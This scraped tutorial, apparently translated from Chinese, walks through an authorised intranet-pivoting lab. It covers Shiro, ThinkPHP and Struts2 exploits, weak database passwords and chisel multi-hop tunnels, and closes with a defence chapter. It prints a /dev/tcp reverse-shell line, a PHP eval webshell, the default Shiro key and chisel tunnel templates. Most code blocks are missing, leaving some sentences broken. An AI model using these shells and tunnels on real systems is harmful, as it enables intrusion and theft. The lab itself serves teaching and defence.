This article is intended solely forlegally authorized environmentsIt is intended for use in teaching and penetration testing practice. It must never be used against unauthorized targets. Please comply with the laws and regulations of your country/region.
Loading...
Loading...
Loading...
Loading...
Loading...
Hands-On Intranet Pivoting, Lateral Movement, and Tunneling Techniques - 是木木呐Beta的小屋
Chapter 1 Intranet Penetration
The essence of intranet penetration (lateral movement / pivoting) is this: the attacker first compromises a machine that can "see" the intranet (a jump host), then uses that machine to probe, access, and penetrate the intranet behind it. This jump host is usually a dual-homed host — it is connected to two different network segments at once, and we hop segment to segment across these "bridges," moving inward one layer at a time.
Attack Chain Model
An attack like this is usually broken down into six steps (corresponding to the chapters of this textbook):
Step
Term
Concrete action in this lab
Chapter
1
Reconnaissance / Fingerprinting
Identify port `8080` as Shiro
Chapter 3
2
Initial Access
Shiro deserialization RCE (gain a root shell)
Chapter 3
3
Establishing a Foothold
Reverse shell, upload fscan
Chapter 3
4
Lateral Movement
Discover and compromise ThinkPHP, Redis, phpMyAdmin, Struts2, Postgres layer by layer
Chapters 4–6
5
Privilege Escalation / Data Collection
Read flags from each host/database
Various chapters
6
Persistence / Covering Tracks
(not covered in depth in this lab; an advanced topic)
Extension
This lab has three parallel skill tracks:
1.4 Lab Environment and Preparation
1.4.1 Lab Network Topology
1.4.2 Host Asset Inventory
Layer
Host
Intranet Address
Key Ports
Vulnerability / Weakness
Flag Location
1
Shiro
192.168.100.3
8080
Shiro RememberMe deserialization
`/flag.txt`
1↔2
ThinkPHP
100.2 / 101.3
80, 9000
ThinkPHP 5.0.23 RCE
`/flag.txt`
2
Redis
10.85.101.2
6379
Weak password `12345`
Key `flag`
2↔3
phpMyAdmin
101.4 / 102.4
80, 9000
root/root + write a webshell
Database / Shell
3
Struts2
172.56.102.3
8080, 8009
Struts2 S2-045/046
Host files
3
Postgres
172.56.102.2
5432
Weak password postgres/password
Table `flag`
1.4.3 Tools Required on the Attacker Machine
Tool
Purpose
How to Obtain
ShiroAttack2
Shiro deserialization exploitation
GitHub
thinkphp_gui_tools
ThinkPHP exploitation
GitHub
Struts2VulsScanTools
Struts2 exploitation
GitHub
fscan
Comprehensive scanning
Download the binary to Kali
chisel
Port forwarding / SOCKS tunneling
Download the binary to Kali
redisbrute
Redis brute-forcing
GitHub / binary
redis-cli / pgcli
Database clients
`apt install` / bundled with Kali
proxychains4
Force programs through SOCKS
`apt install proxychains4`
pwncat-cs / nc
Reverse shell listener
Bundled with Kali / `pip install`
AntSword (蚁剑)
Webshell management
Official site download
Set up a simple HTTP file server (put fscan, chisel, etc. in the same directory):
Chapter 2 Vulnerabilities and Tunneling Principles
2.1 Shiro RememberMe Deserialization
2.1.1 Background: What is "remember me"
Web apps often provide a "remember me" feature: users don't have to re-enter their password on the next visit. The implementation serializes the login state into an object. serializes the login state into an object, encrypts it, then places it in a Cookie (in Shiro it's called rememberMe). On the next visit, the server reads the Cookie → decrypts → deserializes it back into an object → restores the session state.
2.1.2 Root Cause of the Vulnerability
The problem lies in step ⑤ (deserialization) and step ② (encryption):
So an attacker can:
This is Shiro deserialization (CVE-2016-4437, commonly known as Shiro-550).
2.1.3 What is a Gadget Chain (Exploit Chain)
The key to a Java deserialization vulnerability is finding a chain of classes whose processing runs from readObject() all the way to Runtime.exec()" — this is called a Gadget Chain (exploit chain). Common ones include:
These chains essentially exploit the reflection callbacks of objects—for instance, HashMap, DynamicProxy, TemplatesImpl, and InvokerTransformer, turning "reading an object" into "executing a method" step by step.
2.1.4 How the ShiroAttack2 Tool Works
Once you understand the principle, the tool makes sense:
Tool capability
Underlying principle
**Brute-force the key**
Try decrypting one by one with a common key dictionary (including `kPH+bIxk5D2deZiIxcaaaA==`) and detect the echo
**Gadget detection**
Fire payloads generated by different exploit chains and see which one triggers command execution
**Echo command execution**
"See" the command result directly through the request response, without relying on an outbound callback
**Inject a memory shell**
Inject a piece of malicious Servlet/Filter into the running app as a persistent backdoor
2.1.5 Defense Points
2.2 Struts2 OGNL Injection
2.2.1 Background: OGNL and ValueStack
Apache Struts2 uses OGNL (Object-Graph Navigation Language) to bind the parameter names/values in HTTP requests to objects on the backend's ValueStack (value stack). OGNL is an expression language that can navigate object graphs, call methods, and access static members.
If the framework mistakenly evaluates "user-controllable strings" as OGNL expressions, an attacker can inject malicious expressions to execute arbitrary commands.
2.2.2 S2-045 and S2-046 (CVE-2017-5638)
When Struts2's Jakarta file upload component parses upload requests, it evaluates the Content-Type header (S2-045) or the Content-Disposition/filename (S2-046) as an OGNL expression.
The attack payload looks like this (conceptual illustration):
Here it uses # to reference the context, and %{...} / ${...} to trigger expression evaluation. Once these and similar entries relax access control, the #context['xwork.MethodAccessor'] and similar things relax access control, it can reach Runtime to execute system commands.
The relationship between S2-045 and S2-046: the two share nearly the same mechanism and both fall under CVE-2017-5638 ; they differ only in the trigger point:
2.2.3 Defensive measures
2.3 ThinkPHP method-call / filter RCE
2.3.1 Background
ThinkPHP 5, a PHP framework, whose route dispatching lets request parameters invoke the corresponding controller/method. When the framework **lets users control "which class, which method, and what arguments to call"** without a whitelist, arbitrary method invocation → command execution becomes possible.
2.3.2 Two common exploitation techniques
① invokefunction method-call RCE (early ThinkPHP 5.x)
Use route parameters to make think\App::invokefunction call an arbitrary function:
② __construct + filter filter RCE (specific ThinkPHP 5.0.x versions)
ThinkPHP's Request class has a filter property used to "filter" the input. If an attacker uses the HTTP method _method=__construct to overwrite filter with system, sets a method as get, and then triggers some input, that input is processed by system → command execution.
This corresponds to tp5_construct_code_exec_1/2 in the writeup.
2.3.3 Session-include RCE (tp5_session_include)
ThinkPHP serializes sessions to a local file (under runtime/). If an attacker can:
PHP will execute the code inside the session file as PHP. This is tp5_session_include.
2.3.4 Defensive measures
2.4 Weak database credentials and file write
2.4.1 Redis: key-value database and AUTH
Redis is an in-memory key-value store with no authentication by default. If requirepass is configured, clients must authenticate with AUTH <密码>.
Why weak credentials are dangerous:
2.4.2 MySQL: secure_file_priv and INTO OUTFILE
MySQL lets you write query results to server files:
but it's gated by the global variable secure_file_priv:
`secure_file_priv` value
Meaning
empty `""`
**unrestricted** — meaning you can write to any path (which is the case in this lab)
a specific directory
only that directory is writable
`NULL`
file writes disabled
Exploit chain (escalating database privileges to web privileges):
PHP one-liner webshell:<?php @eval($_POST["shell"])?> — receives the POST parameter shell and executes it with eval; it's the minimalist form of a WebShell.
2.4.3 PostgreSQL: superuser and pg_hba.conf
PostgreSQL's default superuser is postgres. If a weak password is hit (e.g. postgres:password), you can log in as superuser and enumerate all databases/tables.
**Security config option pg_hba.conf**: controls "which clients, which databases, and which auth methods can connect". If set to trust, no password is needed at all. In production, restrict source networks and require strong auth such as scram-sha-256.
2.4.4 Defensive measures
2.5 Internal-network tunneling and multi-hop pivoting
2.5.1 Why you need tunnels
Hosts inside the intranet can talk to each other, butthe attacker machine (Kali) is separated from those intranet hosts by a firewall/NAT. Two typical connectivity problems arise:
A tunnel is,using a machine you've already compromised that can communicate with both the internal and external networks (a pivot), a way to "carry" attack traffic into the intranet, or carry intranet traffic back out.
2.5.2 A dual-NIC host = a natural bridge
This host sits on both network segment A and network segment B, making it a natural relay point. By placing tools on it—or having it forward traffic—you can work your way from Kali all the way to the innermost layer.
2.5.3 Forward tunnel vs. reverse tunnel (chisel's two modes)
Forward:chisel client <server> <local>:<remote> —— listens on a local port on the client and connects to remote (a target reachable from the server).
Reverse (using the R: prefix): has the target machine actively connect back to the attacker's chisel server, then opens a port on the server that maps to an address the target can reach.
Scenario
Why use reverse
The intranet machine cannot reach the internet
It can't actively connect to Kali, so reverse won't work. You can only use forward, having Kali connect to it (if Kali can reach it)
The intranet machine can get out to the internet
Use reverse and have the target connect back to Kali, bypassing the "NAT blocks inbound connections" limitation
Rule of thumb:
2.5.4 SOCKS proxy: open up an entire subnet at once
Single-port forwarding can only "carry" one service at a time. If the intranet has many services, a better approach is to set up a SOCKS5 proxy:
Then on the attacker machine, proxychains4 will force any program (such as pgcli,redis-cli,curl) to route traffic through this SOCKS proxy, letting you reach the entire intranet subnet.
2.5.5 Multi-hop pivoting (three layers of nesting)
When the network spans more than one layer, you have to "build bridges" one layer at a time. In this lab, for Kali to reach layer 3 172.56.102.0/24, it needs to:
Key insight (a warning point from the writeup): in the deeper layers, the proxy's main server address can't be Kali, it must be the deeper-layer pivot that already has port forwarding set up (phpMyAdmin, in this case). Because layer 3 can't reach Kali at all—it can only connect to "the controlled machine closest to it."
Why nest them this way:
2.5.6 Choosing a tunneling tool
Tool
Characteristics
Best for
chisel
Single binary, TCP/UDP, supports SOCKS and port forwarding, resistant to censorship
First choice for small environments or when you need SOCKS/multiple ports
frp
Full-featured, configuration-driven
Production/complex forwarding
SSH tunnel
Built into the system, `-L`/`-R`/`-D`
Simplest when you have SSH access
nps / reversh
Reverse proxy
When you need a web admin UI
This book uses chisel throughout (single binary, cross-platform, simple commands).
Chapter 3 Stage one: breaking the perimeter — Shiro
3.1 Learning objectives for this chapter
3.2 Prerequisites
3.3 Why attack it this way
The only entry point is 8080, and the response body shows RememberMe — this is a strong sign of Shiro deserialization.Confirm the framework first, and only then can you pick the right tool, so you don't waste time fuzzing a non-Shiro application. Once you've taken it over, there are two things to do:get a reverse shell (for an interactive session) and scan the intranet (to find the next target).
3.4 Lab Setup
3.5 Step-by-Step Walkthrough
Step 1: Identify the Shiro Fingerprint
Capture the request packet and confirm that the request header/response contains RememberMe:
Expected result: see the rememberMe field → proceed with Shiro deserialization exploitation.
Note: this is exactly the "give me a place where objects can be serialized" idea from §2.1 — rememberMe is the entry point.
Step 2: Exploit with ShiroAttack2
Open ShiroAttack2 and fill in the target address (e.g. http://<入口IP>:8080), then first detect/brute-force the key, and once a hit is found, select echo command execution.
Expected result: the tool reports it hit the default key kPH+bIxk5D2deZiIxcaaaA== and can execute commands directly.
Why brute-force the key first: Shiro must use the correct AES key to encrypt the payload. ShiroAttack2 automatically tries common key dictionaries and, once it hits, can craft a valid Cookie.
Step 3: Read the First Flag
Note: verifies that the "deserialization → file read" path works.
Step 4: Get a Reverse Shell (Gain an Interactive Session)
Start a listener on Kali:
Why use base64: directly passing bash -c "/bin/bash -i >& /dev/tcp/.../9999 0>&1" — the quotes, redirects, and & — easily breaks during transport/escaping. Encoding to base64 first and then decoding on the target sidesteps special-character issues, and the payload is "cleaner" so it won't cause terminal escape-sequence chaos.
Expected result:whoami returnsroot (in the WriteUp example, root).
Step 5: Scan the Intranet (Upload fscan)
ifconfigThe significance of this (key point): figure out "which subnet I'm on and how many NICs I have" before you can know who else can be attacked.
fscan reveals the Layer 1 structure:
Reading the output:
Layer 1 conclusion:Thinkphp 192.168.100.2,Shiro 192.168.100.3.
3.6 Common Troubleshooting
Symptom
Possible cause
Fix
ShiroAttack2 can't detect the vulnerability
Not Shiro / key not in the dictionary
Check whether it's actually `rememberMe`; manually extend the key dictionary
Reverse shell won't connect
Target has no outbound access / wrong port
Confirm connectivity; use a forward listener or relay through a tunnel
fscan download slow/fails
HTTP file server not running / wrong directory
Run `python3 -m http.server 80` in `/tools`; double-check the filename
`ifconfig` shows fewer NICs
Some environments use `ip a`
Use `ip a` / `ip addr` as an additional check
3.7 Chapter Summary
3.8 Questions and Exercises
Chapter 4 — Phase Two: Lateral Movement — ThinkPHP
4.1 Chapter Objectives
4.2 Prerequisites
4.3 Why Attack This Way
Shiro (100.3) can reach 192.168.100.2 (on the same subnet), but Kali cannot reach it directly. So first use chisel to 192.168.100.2:80 share it to a local Kali port 10001; then Kali can access this intranet web service as if it were local. Next, run the RCE against ThinkPHP, grab a www-data shell, and scan to discover Layer 2.
4.4 Lab Setup
4.5 Step-by-Step Walkthrough
Step 1: Shiro port forwarding (share ThinkPHP's port 80 to Kali)
Start the chisel reverse server on Kali:
On the Shiro side (target machine), establish the reverse tunnel:
Kali will now show:
Command explanation:
Result:http://127.0.0.1:10001 is equivalent to the intranet http://192.168.100.2.
Step 2: ThinkPHP vulnerability detection and exploitation
Point thinkphp_gui_tools at http://127.0.0.1:10001 and detect first:
Once confirmed, pick the most stable path for command execution / getshell.
Step 3: Read the second flag
Step 4: ThinkPHP reverse shell
ThinkPHP has egress access, so fire off a reverse shell directly:
Note: www-data is the web user, with slightly lower privileges than root, but enough for intranet scanning and further pivoting.
Step 5: ThinkPHP intranet scan (discover layer 2)
fscan reveals the layer-2 structure:
Layer 2 findings:phpMyAdmin 101.4, Thinkphp 101.3, Redis 101.2.
4.6 Common troubleshooting
Symptom
Possible cause
Fix
chisel connection fails
Wrong port/target, or `--reverse` not enabled
Check the server `-p 1331 --reverse`; point the client at the correct IP
Forwarding works but port 10001 returns nothing
ThinkPHP service not running / mapping wrong
Test with `curl http://127.0.0.1:10001`
thinkphp_gui_tools detects nothing
Hitting the wrong address (not going through the tunnel)
Make sure you target `127.0.0.1:10001`, not the intranet IP
Reverse shell runs but never calls back
Target has limited egress / port
Change the listening port, or use a forward shell / relay via an outer host
4.7 Chapter summary
4.8 Questions and exercises
Chapter 5 Stage 3: Lateral movement — Redis and phpMyAdmin
5.1 Chapter learning objectives
5.2 Prerequisites
5.3 Why attack this way
Layer 2 has many services (Redis, phpMyAdmin), so just build a SOCKS proxy up front and be done with it. After that:
5.4 Lab preparation
5.5 Step-by-step procedure
Step 1: ThinkPHP establishes a SOCKS tunnel
Note:R:0.0.0.0:10002:socks makes Kali's 127.0.0.1:10002 a SOCKS5 proxy, routing through ThinkPHP to reach the entire 10.85.101.0/24.
Step 2: Redis port forwarding + brute-force
Forward Redis 6379 out separately:
Why forward Redis separately: brute-forcing/connecting to Redis needs a stable direct channel; mapping it to Kali's local 16379 is more controllable than going through SOCKS.redisbrute Use rockyou.txt (Kali's built-in wordlist) to try common passwords.
Step 3: Read the Redis flag
Note:-a authenticate with the password (it'll warn about the password being exposed in plaintext on the command line — acceptable in a teaching environment; in production, use interactive AUTH).KEYS * enumerate all keys, and GET read the value.
Step 4: phpMyAdmin weak-credential login
Set up the proxy (SOCKS) in the browser and visit http://10.85.101.4/:
Expected result: You successfully enter phpMyAdmin.
Step 5: Read the flag in MySQL
Find the corresponding flag record in the database (SELECT * FROM ...).
Step 6: Write a Webshell via MySQL
First, confirm the writable path:
See secure_file_priv is empty → arbitrary path writes are allowed. Then write a one-liner webshell:
Open /shell.php to confirm the file was created; then connect with AntSword, password shell.
Why this works: all three preconditions must be met at once.secure_file_priv is empty, the web root is writable by MySQL, and we know the web root path (/var/www/html).
Step 7: phpMyAdmin reverse shell (forwarded through the outer hop)
phpMyAdmin sits in an isolated internal network and can't reach Kali directly, so we have ThinkPHP perform one layer of forwarding:
Traffic path:
Kali listens:
Why this path works: phpMyAdmin can't reach Kali, but it can reach ThinkPHP on the same subnet (ThinkPHP has outbound access and an established tunnel to Kali). ThinkPHP uses 8888:0.0.0.0:8888 to "forward traffic to Kali 8888"; phpMyAdmin reverses back to ThinkPHP:8888, and ThinkPHP relays it all the way back to Kali. This demonstrates the real-world technique of multi-hop pivoting + reverse forwarding.
Step 8: phpMyAdmin internal scan (discovering layer 3)
fscan detects the layer 3 structure:
Layer 3 conclusion:phpMyAdmin 102.4, Postgres 102.2, Struts2 102.3. We also gain two pieces of intel: a weak Postgres password postgres:password, and Struts2 has struts2_045.
5.6 Common troubleshooting
Symptom
Likely cause
Fix
Accessing phpMyAdmin through the browser proxy fails
SOCKS not configured / wrong proxy port
Check whether `127.0.0.1:10002` is listening; point the browser proxy at it
`INTO OUTFILE` reports a permission error
`secure_file_priv` is not empty / target directory is not writable
First check `%secure%`; switch to a writable directory or verify directory permissions
AntSword won't connect
Wrong path/password, or the file was deleted
Confirm `/shell.php` returns HTTP 200; password is `shell`
Reverse shell doesn't come back
phpMyAdmin can't reach ThinkPHP / forwarding isn't running
First confirm the 8888 forward is listening on ThinkPHP, then have phpMyAdmin reverse back
fscan scan is incomplete
Wrong subnet notation / target returns no output
Use the full subnet `-h 172.56.102.0/24`
5.7 Chapter summary
5.8 Discussion and exercises
Chapter 6 Phase four: two-layer internal network — Struts2 and Postgres
6.1 Learning objectives
6.2 Prerequisites
6.3 Why attack this way
The innermost 172.56.102.0/24 is a "two-layer internal network" that can't reach Kali, nor can it directly access the outer proxy server. So we need to:
6.4 Lab preparation
6.5 Step-by-step operations
Step 1: Port passthrough on ThinkPHP
Meaning: ThinkPHP connects back to Kali on port 1331, listens locally on its own port 1331, and forwards the traffic it receives to Kali's 1331. This opens a route to the Kali master server for the "deeper phpMyAdmin".
Step 2: Establish a SOCKS tunnel on phpMyAdmin
After transferring chisel to phpMyAdmin, run:
On the Kali side you'll see session#20: tun: proxy#R:10005=>socks: Listening.
Why use 10.85.101.3:1331 (ThinkPHP) as the proxy's master server address instead of Kali: phpMyAdmin sits on layer 2, so it can't reach the external Kali, but it can reach ThinkPHP (same subnet, with an established tunnel to Kali). So phpMyAdmin relays its "connection to Kali" through ThinkPHP.
Step 3: Struts2 exploitation (S2-045/046)
Access 172.56.102.3:8080 through SOCKS, and then use Struts2VulsScanTools to detect and exploit it.
Tool details: abc123info/Struts2VulsScanTools — set the target and vulnerability type in the GUI, then run commands with one click (it essentially builds an OGNL payload to hit S2-045/046).
Expected result: you can execute commands and read the flag on that host.
Step 4: Read the flag on the Struts2 host
Step 5: Log into Postgres with a weak password and read the flag
fscan already reported postgres:password. Access 172.56.102.2:5432 through SOCKS:
Why this works: postgres is the PostgreSQL superuser, and the weak password password was guessed on the first attempt; once logged in you can enumerate every database and table.
Command notes:
The 5th/final flag: read from the flag database's flag table in Postgres. At this point all targets (hosts and databases on layers 1, 2, and 3) have been taken.
6.6 Common troubleshooting
Symptom
Likely cause
Fix
Layer 3 unreachable
Layer 2 proxy master set to Kali
Change it to `10.85.101.3:1331` (ThinkPHP)
SOCKS not established
chisel wasn't uploaded to phpMyAdmin / port forwarding failed
First confirm the forward on ThinkPHP port 1331 is listening; upload chisel to phpMyAdmin
Can't hit Struts2
Not going through SOCKS / version mismatch
Check the proxychains config; switch tools or exploit chains
Postgres login fails
Wrong password / not going through the proxy
Confirm `postgres:password`; use the `proxychains4` prefix
`\l` or `\dt` returns nothing
Wrong database connected / permissions
Run `\c flag` then `\dt`; confirm you're the superuser
6.7 Chapter summary
6.8 Review questions and exercises
Chapter 7 Comprehensive defense and hardening
7.1 Side-by-side mapping (attack point vs defense point)
Attack point
Root mistake
Corresponding hardening
Shiro deserialization
Default/hardcoded AES key + unsafe deserialization
Random key, upgrade to the fixed version, Cookie whitelist validation
ThinkPHP RCE
No whitelist on routes/method calls
Upgrade to the fixed version, disable `invokefunction`, whitelist controllers/routes
Struts2 S2-045/046
OGNL injection in the Jakarta upload component
Upgrade to the fixed version, disable/replace the parser, WAF blocks OGNL signatures
Redis weak password
Weak `requirepass`
Strong password + internal-only binding + rate limiting on failures
MySQL `INTO OUTFILE`
`secure_file_priv` empty + writable web directory
Set a controlled directory, keep the web root unwritable by the DB
phpMyAdmin root/root
Weak password + exposed admin panel
Strong password, restrict source IPs, least privilege, close public exposure
Postgres weak password
`postgres:password`
Strong password + `pg_hba.conf` source restriction + strong auth
Lateral movement / internal roaming
No internal segmentation + dual-NIC cross-segment direct connection
Micro-segmentation, firewalls, limit jump hosts from exposing multiple segments at once
Reverse/tunneling back-connection
Target machine can freely egress
Egress whitelisting/SNI control, block reverse connections
Tool delivery (wget)
Target machine can reach the attacker's HTTP
Tighten the target's outbound access as much as possible
7.2 Core defense principles
7.3 Practical detection rules (examples)
Appendix A — Quick-reference tool table
Tool
Type
Purpose
Usage in this tutorial
ShiroAttack2
Exploitation
Shiro deserialization (key brute force/Gadget/in-memory shell/echo)
Hit entry port 8080
thinkphp_gui_tools
Exploitation
GUI exploitation of multiple ThinkPHP vulnerabilities
Hit ThinkPHP 5.0.23
Struts2VulsScanTools
Exploitation
Struts2 scanning + command execution
Hit S2-045/046
fscan
Discovery/Assessment
Liveness + ports + Web titles + PoC + weak passwords
Scan the intranet layer by layer / report weak passwords
chisel
Tunneling
Port forwarding + SOCKS, supports reverse mode
Core of multi-hop pivoting
proxychains4
Tunneling
Force any program through SOCKS
Let pgcli/curl reach the intranet
redisbrute
Brute force
Redis AUTH brute force
Crack the password `12345`
redis-cli
Client
Redis command line
`KEYS *` + `GET` to read flags
pgcli
Client
PostgreSQL interactive client
Log in via weak password and read the database
pwncat-cs / nc
Post-exploitation
Reverse shell management/listening
Listen for reverse shells
AntSword
Post-exploitation
Webshell management/files/virtual terminal/proxy
Connect to a one-liner backdoor
`base64` + `/dev/tcp`
Technique
Character-safe reverse shell delivery
Reverse a shell across hosts the standard way
`wget` + `http.server`
Delivery
Download tools onto the target
Push fscan/chisel into the intranet
A.1 chisel command reference
Scenario
Client command (target machine)
Meaning
Reverse port forwarding
`chisel client <kali>:1331 R:0.0.0.0:<local_port>:<intranet_ip>:<port>`
Kali opens a port, mapped to an intranet service the target can reach
SOCKS proxy
`chisel client <kali>:1331 R:0.0.0.0:<local_port>:socks`
Kali opens SOCKS5, routing through the target to reach any intranet address
Port relay (chaining)
`chisel client <kali>:1331 <local_port>:<remote_port>`
Lets a deeper host "relay" back to the main server
Server (Kali)
`chisel server -p 1331 --reverse`
Start the reverse tunnel server and accept intranet callbacks
A.2 Key fscan output symbols
Symbol
Meaning
`(icmp) Target ... is alive`
ICMP liveness probe result
`:port open`
Port open
`WebTitle`
Web title/fingerprint
`InfoScan`
Information (e.g. phpMyAdmin)
`PocScan`
Matched known PoC/CVE
`Postgres:...:password`
Weak-password scan hit
Appendix B — Glossary
Term
Meaning
**Pivot**
Use a compromised host as a relay to reach the intranet behind it
**Lateral movement**
From one machine, jump to other machines on the same or adjacent network segment
**Dual-NIC Host**
A machine connected to two network segments at once — a natural bridge or boundary point
**Port Forwarding**
Relaying traffic from a port on one host to another address, effectively "moving" it
**Reverse Tunnel**
The target machine actively connects back to the attacker, bypassing "NAT/firewalls that block inbound connections"
**SOCKS Proxy**
A protocol that lets any TCP application route through a proxy, opening up an entire network segment at once
**Deserialization**
Turning a byte stream back into an object; the vulnerability lies in trusting the restored data without validation
**Gadget Chain**
A series of class combinations that lead from `readObject()` to `Runtime.exec()`
**OGNL**
Struts2's expression language; it can navigate objects and call methods, and injection can lead to RCE
**Expression Injection**
Evaluating user input as code or expressions, leading to command execution
**`INTO OUTFILE`**
MySQL syntax that writes query results to a file on the server
**`secure_file_priv`**
A global variable controlling where MySQL may write files; empty = no restriction
**One-Liner Backdoor**
A minimal WebShell, such as `<?php @eval($_POST["shell"])?>`
**WebShell**
A script that maintains control over a server, accessible via the web
**`proxychains`**
A tool that forces any program to route its traffic through a SOCKS/HTTP proxy
**Fingerprint**
Identifying an application or framework by its response characteristics, such as `RememberMe` or `X-Powered-By`
**Kill Chain**
A staged attack model spanning reconnaissance, intrusion, lateral movement, and data exfiltration
Appendix C References and Further Reading